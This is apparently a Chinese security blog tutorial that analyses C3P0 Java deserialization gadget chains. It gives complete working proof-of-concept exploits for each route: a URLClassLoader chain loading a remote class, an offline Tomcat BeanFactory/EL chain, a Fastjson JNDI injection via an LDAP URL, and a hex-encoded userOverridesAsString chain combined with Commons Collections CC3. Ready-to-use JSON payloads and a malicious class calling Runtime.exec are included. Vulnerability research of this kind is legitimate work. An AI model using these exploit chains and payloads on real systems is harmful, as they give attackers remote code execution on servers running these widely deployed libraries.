C3P0是JDBC的一个连接池组件
JDBC:
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池:
我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。
C3P0:
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。
依赖
jdk8u66
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> </dependencies>
|
URLClassLoader利用链
这条链我们要先从PoolBackedDataSourceBase类的writeObject
方法开始看。
java在序列化的时候,回去调用对应类的writeObject
方法。

可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm
方法处理后再进行序列化操作。跟进indirectForm
方法

这里调用了connectionPoolDataSource属性的getReference
方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是说,我们的writeObject其实序列化的是ReferenceSerialized对象。
然后我们再来看反序列化的时候,来到PoolBackedDataSourceBase类的readObject
方法:

这里readObject方法首先判断了版本,然后进行一个if判断,如果序列化流里的对象实现了IndirectlySerialized接口,那么就调用它的getObject
方法。刚刚我们说到writeObject其实序列化的是ReferenceSerialized对象。而这个类其实是实现了IndirectlySerialized接口的。
所以跟进到ReferenceIndirector类的getObject
方法:

这里调用了ReferenceableUtils.referenceToObject
这个静态方法,跟进。

这里的Reference ref
对象就是最开始writeObject
方法通过getReference
方法写入的我们的恶意对象。
那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)
中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()
方法这里都能触发漏洞。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger;
public class Main { public static void main(String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); setValue(poolBackedDataSourceBase,"connectionPoolDataSource",new evil());
String payload = serialize(poolBackedDataSourceBase); unserialize(payload); } public static class evil implements ConnectionPoolDataSource, Referenceable { public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override public Reference getReference() { return new Reference("calc","calc","http://127.0.0.1:8000/"); } }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
恶意类:
1 2 3 4 5 6 7
| import java.io.IOException;
public class calc { public calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
编译好后,在编译目录起个python http.server

不出网利用
添加依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.27</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.27</version> </dependency>
|
链子分析
和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了

可以看到如果getFactoryClassLocation
方法返回为null的时候就直接加载本地字节码。
如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory 接口的类,并调用getObjectInstance
方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用。
org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.Base64; import java.util.logging.Logger;
public class Main { public static void main(String[] args) throws Exception { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); setValue(poolBackedDataSourceBase,"connectionPoolDataSource",new evil());
String payload = serialize(poolBackedDataSourceBase); unserialize(payload); } public static class evil implements ConnectionPoolDataSource, Referenceable { public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
@Override public Reference getReference() { String cmd = "calc"; ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")")); return ref; } }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
基于Fastjson进行JNDI注入
添加依赖
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency>
|
利用链分析
触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()

而只有inner
方法调用了dereference
方法。

我们知道在fastjson反序列化的时候,会调用那个类的所有的setter
方法,而 setLogWriter
和 setLoginTimeout
两个 setter
方法调用了 inner
方法:


这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用:
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.alibaba.fastjson.JSON;
public class Main { public static void main(String[] args) { String ser_json = "{\n" + " \"a\": {\n" + " \"@type\": \"java.lang.Class\",\n" + " \"val\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"\n" + " },\n" + " \"b\": {\n" + " \"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" + " \"jndiName\": \"ldap://127.0.0.1:1389/calc\",\n" + " \"loginTimeout\": 0\n" + " }\n" + "}"; JSON.parseObject(ser_json); } }
|
payload:
1 2 3 4 5 6 7 8 9 10 11
| { "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.JndiRefForwardingDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "ldap://127.0.0.1:1389/calc", "loginTimeout": 0 } }
|
HEX链
链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()
这个setter方法

跟进C3P0ImplUtils.parseUserOverridesAsString
静态方法,

这里用substring
方法对传入的userOverridesAsString进行字符截取,然后将其视为十六进制数据转化成byte,然后调用SerializableUtils.fromByteArray
方法对其进行处理。
截取掉payload最前面的HexAsciiSerializedMap:
1
| private final static String HASM_HEADER = "HexAsciiSerializedMap";
|
还有最后的一个字符,我们可以给payload随便多加一个字符即可。


这个方法会对bytes进行反序列化处理。
在fastjson,jackson等环镜下,userOverridesAsString属性可控,导致可以从其setter方法setuserOverridesAsString
开始到最后deserializeFromByteArray
对其调用readObject进行反序列化,造成反序列化漏洞。
这里随便拿一条链子打一下,比如CC3
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| import com.alibaba.fastjson.JSON; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { Object obj = cc3_poc(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); byte[] bytein = byteArrayOutputStream.toByteArray(); String Hex = bytesToHexString(bytein,bytein.length);
String ser_json = "{\n" + " \"a\": {\n" + " \"@type\": \"java.lang.Class\",\n" + " \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\": {\n" + " \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"userOverridesAsString\": \"HexAsciiSerializedMap:"+Hex+";\"\n" + " }\n" + "}"; JSON.parseObject(ser_json); }
public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); }
public static Object cc3_poc() throws Exception { byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> inmap = new HashMap<>(); inmap.put("value","aaa"); Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true); Object obj = constructorhandler.newInstance(Target.class,outmap); return obj; } public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
payload:
1 2 3 4 5 6 7 8 9 10
| { "a": { "@type": "java.lang.Class", "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:<payload>;" } }
|

参考文章:
https://tttang.com/archive/1411/
https://cloud.tencent.com/developer/article/2318124